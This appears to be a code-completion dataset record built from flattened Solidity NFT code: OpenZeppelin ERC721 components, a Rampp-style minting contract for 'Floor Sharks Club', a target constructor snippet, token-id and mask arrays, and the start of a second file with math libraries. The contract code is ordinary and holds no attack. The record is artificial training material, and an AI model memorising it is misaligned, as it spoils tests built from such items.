) internal pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size:= mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^ 0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} 'tokenId' token is transferred to this contract via {IERC721-safeTransferFrom}
* by 'operator' from 'from', this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with 'IERC721.onERC721Received.selector'.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns(bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^ 0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* 'interfaceId'. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns(bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^ 0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* '''solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns(bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* '''
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns(bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^ 0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when 'tokenId' token is transferred from 'from' to 'to'.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when 'owner' enables 'approved' to manage the 'tokenId' token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when 'owner' enables or disables ('approved') 'operator' to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ''owner'''s account.
*/
function balanceOf(address owner) external view returns(uint256 balance);
/**
* @dev Returns the owner of the 'tokenId' token.
*
* Requirements:
*
* - 'tokenId' must exist.
*/
function ownerOf(uint256 tokenId) external view returns(address owner);
/**
* @dev Safely transfers 'tokenId' token from 'from' to 'to', checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - 'from' cannot be the zero address.
* - 'to' cannot be the zero address.
* - 'tokenId' token must exist and be owned by 'from'.
* - If the caller is not 'from', it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If 'to' refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers 'tokenId' token from 'from' to 'to'.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - 'from' cannot be the zero address.
* - 'to' cannot be the zero address.
* - 'tokenId' token must be owned by 'from'.
* - If the caller is not 'from', it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to 'to' to transfer 'tokenId' token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - 'tokenId' must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for 'tokenId' token.
*
* Requirements:
*
* - 'tokenId' must exist.
*/
function getApproved(uint256 tokenId) external view returns(address operator);
/**
* @dev Approve or remove 'operator' as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The 'operator' cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the 'operator' is allowed to manage all of the assets of 'owner'.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns(bool);
/**
* @dev Safely transfers 'tokenId' token from 'from' to 'to'.
*
* Requirements:
*
* - 'from' cannot be the zero address.
* - 'to' cannot be the zero address.
* - 'tokenId' token must exist and be owned by 'from'.
* - If the caller is not 'from', it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If 'to' refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^ 0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns(string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns(string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for 'tokenId' token.
*/
function tokenURI(uint256 tokenId) external view returns(string memory);
}
// File: @openzeppelin/contracts/utils/Counters.sol
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^ 0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a 'name' and a 'symbol' to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns(bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns(uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns(address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns(string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns(string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns(string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the 'baseURI' and the 'tokenId'. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns(string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns(address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns(bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers 'tokenId' token from 'from' to 'to', checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* '_data' is additional data, it has no specified format and it is sent in call to 'to'.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - 'from' cannot be the zero address.
* - 'to' cannot be the zero address.
* - 'tokenId' token must exist and be owned by 'from'.
* - If 'to' refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether 'tokenId' exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted ('_mint'),
* and stop existing when they are burned ('_burn').
*/
function _exists(uint256 tokenId) internal view virtual returns(bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether 'spender' is allowed to manage 'tokenId'.
*
* Requirements:
*
* - 'tokenId' must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns(bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints 'tokenId' and transfers it to 'to'.
*
* Requirements:
*
* - 'tokenId' must not exist.
* - If 'to' refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}['_safeMint'], with an additional 'data' parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints 'tokenId' and transfers it to 'to'.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - 'tokenId' must not exist.
* - 'to' cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys 'tokenId'.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - 'tokenId' must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers 'tokenId' from 'from' to 'to'.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - 'to' cannot be the zero address.
* - 'tokenId' token must be owned by 'from'.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve 'to' to operate on 'tokenId'
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns(bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns(bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When 'from' and 'to' are both non-zero, ''from'''s 'tokenId' will be
* transferred to 'to'.
* - When 'from' is zero, 'tokenId' will be minted for 'to'.
* - When 'to' is zero, ''from'''s 'tokenId' will be burned.
* - 'from' and 'to' are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual { }
}
// File: contracts/ERC721Tradable.sol
pragma solidity ^0.8.0;
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @title ERC721Tradable
* ERC721Tradable - ERC721 contract that whitelists a trading address, and has minting functionality.
*/
abstract contract ERC721Tradable is
ContextMixin,
ERC721,
NativeMetaTransaction,
Ownable
{
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenSupply;
address proxyRegistryAddress;
address public RAMPPADDRESS = 0xa9dAC8f3aEDC55D0FE707B86B8A45d246858d2E1;
bool public mintingOpen = true;
uint256 public SUPPLYCAP = 10000;
uint256 public PRICE = 0.1 ether;
uint256 public MAX_MINT_PER_TX = 5;
address[] public payableAddresses = [RAMPPADDRESS];
uint256[] public payableFees = [5];
uint256 public payableAddressCount = 2;
uint256 public MAX_WALLET_MINTS = 5;
mapping(address => uint256) private addressMints;
constructor(
string memory _name,
string memory _symbol,
address _proxyRegistryAddress
) ERC721(_name, _symbol) {
proxyRegistryAddress = _proxyRegistryAddress;
// Establish user-defined payableAddresses and amounts
payableAddresses.push(0x0B5Bd2cE2C21484365001daAb7055AC9a95C6688);
payableFees.push(uint256(95));
_initializeEIP712(_name);
}
modifier isRampp() {
require(msg.sender == RAMPPADDRESS, "Ownable: caller is not RAMPP");
_;
}
/**
* @dev Mints a token to an address with a tokenURI.
* This is owner only and allows a fee-free drop
* @param _to address of the future owner of the token
*/
function mintToAdmin(address _to) public onlyOwner {
require(_getNextTokenId() <= SUPPLYCAP, "Cannot mint over supply cap of 10000");
uint256 newTokenId = _getNextTokenId();
_mint(_to, newTokenId);
_incrementTokenId();
}
function mintToBulkAdmin(address[] memory addresses, uint256 addressCount) public onlyOwner {
for(uint i=0; i < addressCount; i++ ) {
mintToAdmin(addresses[i]);
}
}
/**
* @dev Mints a token to an address with a tokenURI.
* fee may or may not be required*
* @param _to address of the future owner of the token
*/
function mintTo(address _to) public payable {
require(_getNextTokenId() <= SUPPLYCAP, "Cannot mint over supply cap of 10000");
require(mintingOpen == true, "Minting is not open right now!");
require(canMintAmount(_to, 1), "Wallet address is over the maximum allowed mints");
require(msg.value == PRICE, "Value needs to be exactly the mint fee!");
uint256 newTokenId = _getNextTokenId();
_mint(_to, newTokenId);
_incrementTokenId();
updateMintCount(_to, 1);
}
/**
* @dev Mints a token to an address with a tokenURI.
* fee may or may not be required*
* @param _to address of the future owner of the token
* @param _amount number of tokens to mint
*/
function mintToMultiple(address _to, uint256 _amount) public payable {
require(_amount >= 1, "Must mint at least 1 token");
require(_amount <= MAX_MINT_PER_TX, "Cannot mint more than max mint per transaction");
require(mintingOpen == true, "Minting is not open right now!");
require(canMintAmount(_to, _amount), "Wallet address is over the maximum allowed mints");
require(currentTokenId() + _amount <= SUPPLYCAP, "Cannot mint over supply cap of 10000");
require(msg.value == getPrice(_amount), "Value below required mint fee for amount");
for(uint8 i = 0; i < _amount; i++){
uint256 newTokenId = _getNextTokenId();
_mint(_to, newTokenId);
_incrementTokenId();
}
updateMintCount(_to, _amount);
}
function openMinting() public onlyOwner {
mintingOpen = true;
}
function stopMinting() public onlyOwner {
mintingOpen = false;
}
/**
* @dev Check if wallet over MAX_WALLET_MINTS
* @param _address address in question to check if minted count exceeds max
*/
function canMintAmount(address _address, uint256 _amount) public view returns(bool) {
require(_amount >= 1, "Amount must be greater than or equal to 1");
return SafeMath.add(addressMints[_address], _amount) <= MAX_WALLET_MINTS;
}
/**
* @dev Update an address that has minted to new minted amount
* @param _address address in question to check if minted count exceeds max
* @param _amount the quanitiy of tokens to be minted
*/
function updateMintCount(address _address, uint256 _amount) private {
require(_amount >= 1, "Amount must be greater than or equal to 1");
addressMints[_address] = SafeMath.add(addressMints[_address], _amount);
}
/**
* @dev Update the maximum amount of tokens that can be minted by a unique wallet
* @param _newWalletMax the new max of tokens a wallet can mint. Must be >= 1
*/
function setWalletMax(uint256 _newWalletMax) public onlyOwner {
require(_newWalletMax >= 1, "Max mints per wallet must be at least 1");
MAX_WALLET_MINTS = _newWalletMax;
}
function setPrice(uint256 _feeInWei) public onlyOwner {
PRICE = _feeInWei;
}
function getPrice(uint256 _count) private view returns (uint256) {
return PRICE.mul(_count);
}
/**
* @dev Allows owner to set Max mints per tx
* @param _newMaxMint maximum amount of tokens allowed to mint per tx. Must be >= 1
*/
function setMaxMint(uint256 _newMaxMint) public onlyOwner {
require(_newMaxMint >= 1, "Max mint must be at least 1");
MAX_MINT_PER_TX = _newMaxMint;
}
function withdrawAll() public onlyOwner {
require(address(this).balance > 0);
_withdrawAll();
}
function withdrawAllRampp() public isRampp {
require(address(this).balance > 0);
_withdrawAll();
}
function _withdrawAll() private {
uint256 balance = address(this).balance;
for(uint i=0; i < payableAddressCount; i++ ) {
_widthdraw(
payableAddresses[i],
(balance * payableFees[i]) / 100
);
}
}
function _widthdraw(address _address, uint256 _amount) private {
(bool success, ) = _address.call{value: _amount}("");
require(success, "Transfer failed.");
}
/**
* @dev calculates the current token ID based on Counter _tokenSupply
* @return uint256 for the current token ID
*/
function currentTokenId() public view returns (uint256) {
return _tokenSupply.current();
}
/**
* @dev calculates the next token ID based on value of Counter _tokenSupply
* @return uint256 for the next token ID
*/
function _getNextTokenId() private view returns (uint256) {
return _tokenSupply.current() + 1;
}
/**
* @dev increments the value of Counter _tokenSupply
*/
function _incrementTokenId() private {
_tokenSupply.increment();
}
function baseTokenURI() public pure virtual returns (string memory);
function tokenURI(uint256 _tokenId)
public
pure
override
returns (string memory)
{
return
string(
abi.encodePacked(baseTokenURI(), Strings.toString(_tokenId))
);
}
/**
* Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings.
*/
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
// Whitelist OpenSea proxy contract for easy trading.
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(owner)) == operator) {
return true;
}
return super.isApprovedForAll(owner, operator);
}
/**
* This is used instead of msg.sender as transactions won't be sent by the original token owner, but by OpenSea.
*/
function _msgSender() internal view override returns (address sender) {
return ContextMixin.msgSender();
}
/**
* @dev returns the currently minted supply of tokens
* @return uint256 for the current token ID
*/
function totalSupply() public view returns(uint256) {
return currentTokenId();
}
}
// File: contracts/floorSharksClubContract.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract FloorSharksClubContract is ERC721Tradable {
constructor(address _proxyRegistryAddress)
ERC721Tradable("Floor Sharks Club", "FSMM", _proxyRegistryAddress)
{}
function baseTokenURI() public pure override returns (string memory) {
return "ipfs://QmRJTdGXtqMXArRSbPhwVeNVX1ynjM8wCwhS5CgXQrwzcy/";
}
function contractURI() public pure returns (string memory) {
return "https://us-central1-nft-rampp.cloudfunctions.net/app/3fHE7tZNkLrnBctaIP48/contract-metadata";
}
} | Establish user-defined payableAddresses and amounts | function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
}
pragma solidity ^0.8.0;
}
abstract contract ERC721Tradable is
ContextMixin,
ERC721,
NativeMetaTransaction,
Ownable
) ERC721(_name, _symbol) {
proxyRegistryAddress = _proxyRegistryAddress;
payableAddresses.push(0x0B5Bd2cE2C21484365001daAb7055AC9a95C6688);
payableFees.push(uint256(95));
_initializeEIP712(_name);
}
| 6,059,732 | [
1,
9122,
23385,
729,
17,
2178,
8843,
429,
7148,
471,
30980,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
389,
5771,
1345,
5912,
12,
203,
565,
1758,
628,
16,
203,
565,
1758,
358,
16,
203,
565,
2254,
5034,
1147,
548,
203,
97,
203,
203,
203,
7010,
377,
203,
565,
10878,
18035,
560,
3602,
20,
18,
28,
18,
20,
31,
203,
203,
203,
565,
289,
203,
203,
565,
8770,
6835,
4232,
39,
27,
5340,
1609,
17394,
353,
203,
3639,
1772,
14439,
16,
203,
3639,
4232,
39,
27,
5340,
16,
203,
3639,
16717,
2781,
3342,
16,
203,
3639,
14223,
6914,
203,
540,
203,
3639,
262,
4232,
39,
27,
5340,
24899,
529,
16,
389,
7175,
13,
288,
203,
5411,
2889,
4243,
1887,
273,
389,
5656,
4243,
1887,
31,
203,
5411,
8843,
429,
7148,
18,
6206,
12,
20,
92,
20,
38,
25,
38,
72,
22,
71,
41,
22,
39,
22,
3461,
5193,
5718,
25,
11664,
2414,
5895,
7301,
2539,
2226,
29,
69,
8778,
39,
6028,
5482,
1769,
203,
5411,
8843,
429,
2954,
281,
18,
6206,
12,
11890,
5034,
12,
8778,
10019,
203,
377,
203,
5411,
389,
11160,
41,
2579,
27,
2138,
24899,
529,
1769,
203,
3639,
289,
203,
540,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity >0.4.99 <0.6.0;
library Zero {
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function requireNotZero(uint val) internal pure {
require(val != 0, "require not zero value");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
function isZero(uint a) internal pure returns(bool) {
return a == 0;
}
function notZero(uint a) internal pure returns(bool) {
return a != 0;
}
}
library Percent {
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
function toMemory(percent storage p) internal view returns (Percent.percent memory) {
return Percent.percent(p.num, p.den);
}
function mmul(percent memory p, uint a) internal pure returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function mdiv(percent memory p, uint a) internal pure returns (uint) {
return a/p.num*p.den;
}
function msub(percent memory p, uint a) internal pure returns (uint) {
uint b = mmul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function madd(percent memory p, uint a) internal pure returns (uint) {
return a + mmul(p, a);
}
}
library Address {
function toAddress(bytes memory source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function isNotContract(address addr) internal view returns(bool) {
uint length;
assembly { length := extcodesize(addr) }
return length == 0;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
